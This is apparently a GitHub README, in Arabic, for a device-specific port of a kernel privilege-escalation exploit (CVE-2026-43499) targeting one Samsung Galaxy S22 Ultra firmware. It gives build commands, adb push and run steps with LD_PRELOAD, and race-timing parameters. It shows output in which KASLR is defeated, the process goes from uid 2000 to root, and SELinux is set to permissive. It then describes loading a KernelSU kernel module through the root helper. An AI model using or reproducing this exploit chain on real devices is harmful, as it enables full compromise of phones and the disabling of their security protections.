
CVE-2026-43499 سلسلة استغلال كاملة لهاتف Samsung Galaxy S22 Ultra (نواة Android 5.10)
https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
يحتوي هذا المستودع على نسخة معدّلة خاصة بجهاز معيّن من استغلال CVE-2026-43499 لهاتف Samsung Galaxy S22 Ultra (SM-S908W).
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
الإنزياحات (Offsets) وتخطيطات البنى في هذا المستودع خاصة بالبرنامج الثابت أعلاه. لا تدعم ملفات تعريف الأهداف هذه الطرازات الأخرى أو إصدارات البرامج الثابتة الأخرى.
يعتمد هذا المنفذ على تنفيذ الاستغلال المنشور في:
b850d3bddc74c3328d5fbcc0568d21962b55d949شكر خاص إلى:
يُحتفظ برخصة Apache License 2.0 الأصلية في LICENSE.
b0q / S908WVLS8FYG7 (src/targets/S908WVLS8FYG7/target.h) وتخطيطات بنى النواة.exp32: تنسيق futex، وختم مكدس 32-بت، وتشغيل sched_setattr في مرحلة فرعية مضمّنة 32-بت (src/exp32/).system_unbound_wq آمن ضد KDP، وتحديث هدف فرض SELinux وقت التشغيل إلى selinux_state.enforcing./data/local/tmp/cve-2026-43499-root.cve43499-hold بعد النجاح، بحيث لا يمكن إعادة تدوير المراجع العالقة في النواة إلى كائنات slab غير ذات صلة.اضبط ANDROID_NDK_HOME على Android NDK r27+ أو سلسلة أدوات متوافقة، ثم نفّذ:
make PROJECT=S908WVLS8FYG7 clean preload root-helper
للبناء لبيئة QEMU تشغّل نواة أندرويد مع نظام ملفات Buildroot:
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
المخرجات:
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
نفّذ مرحلة الاستغلال لبدء خفيّ الجذر (root daemon):
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
بعد النجاح، افتح شلّ جذر تفاعلي من أي مكان على الجهاز:
adb shell "/data/local/tmp/cve-2026-43499-root"
أو نفّذ أوامر الجذر مباشرة:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
يقوم التشغيل الافتراضي بما يصل إلى 16 محاولة مستقلة. يخرج كل طفل (child process) فاشل قبل المحاولة التالية، بحيث يتم تحرير مؤشرات الملفات وتخصيصات تشكيل الكومة (heap-shaping) الخاصة به بدلاً من تراكمها داخل عملية استغلال واحدة طويلة الأمد.
التأخير الأساسي الافتراضي هو 20000 ميكروثانية، ويقوم المشرف (supervisor) بمسح التسلسل التالي مرتين:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
يمكنك تجاوز عدد المحاولات أو التأخير الأساسي عند جمع بيانات التوقيت:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
نتيجة موثّقة على S908WVLS8FYG7:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
جلسة شلّ جذر تفاعلية:
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
المرحلة الأولية تعتمد على السباق (race). تتم إعادة محاولة أي عملية طفل تخرج بـ root=0 تلقائيًا. عند التنفيذ الناجح، تتم استعادة ashmem_misc.fops، وتحويل SELinux إلى وضع permissive، وتشغيل خفيّ مساعد الجذر حتى إعادة التشغيل التالية.
الاستغلال أعلاه يمنح الجذر للإقلاع الحالي فقط. للحصول على تطبيق Manager وتحكّم بنمط su لبقية الجلسة، حمّل KernelSU-Next كوحدة نواة تُحمَّل متأخرًا (late-load) عبر مساعد الجذر.
نزّل ملفَي الإصدار من v3.3.0-android12-5.10:
KernelSU_Next_v3.3.0-release.apk — تطبيق Managerkernelsu-android12-5.10.ko — وحدة نواة LKMثبّت ملف APK الخاص بـ Manager:
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot.بما أن هذه وحدة LKM تُحمَّل متأخرًا (وليست صورة إقلاع معدّلة)، فهي لا تبقى بعد إعادة التشغيل — ستحتاج إلى إعادة تشغيل الاستغلال وإعادة insmod للوحدة في كل مرة يُعاد فيها تشغيل الجهاز.
[!WARNING] ملاحظة الموثوقية وانهيار النواة (Kernel Panic): مرحلة السباق حسّاسة للتوقيت وغير موثوقة حاليًا — قد تفشل أو تسبب انهيارًا للنواة في معظم المحاولات. كن صبورًا، فالإقلاعات النظيفة توفّر معدل نجاح أعلى. قد تُطرح تحسينات مستقبلية لزيادة الموثوقية.
[!TIP] توصيات الاستقرار ومعدل النجاح:
- إعادة تشغيل الجهاز: للحصول على أعلى معدل نجاح، أعد تشغيل الجهاز قبل تشغيل الاستغلال لضمان حالة نظيفة للـ slab/الكومة.
- إغلاق التطبيقات في الخلفية: تأكد من إغلاق جميع التطبيقات التي تعمل في الخلفية.
- فتح الشاشة والبقاء بدون استخدام: أبقِ الجهاز مفتوحًا ولا تتفاعل مع الهاتف أو تستخدمه أثناء تشغيل الاستغلال، لأن إدخالات المستخدم النشطة أو المهام في الخلفية قد تخلّ بالتوقيت وربما تؤدي إلى انهيار النواة.
استخدم فقط على الأجهزة التي تملكها أو المخوَّل لك اختبارها صراحةً.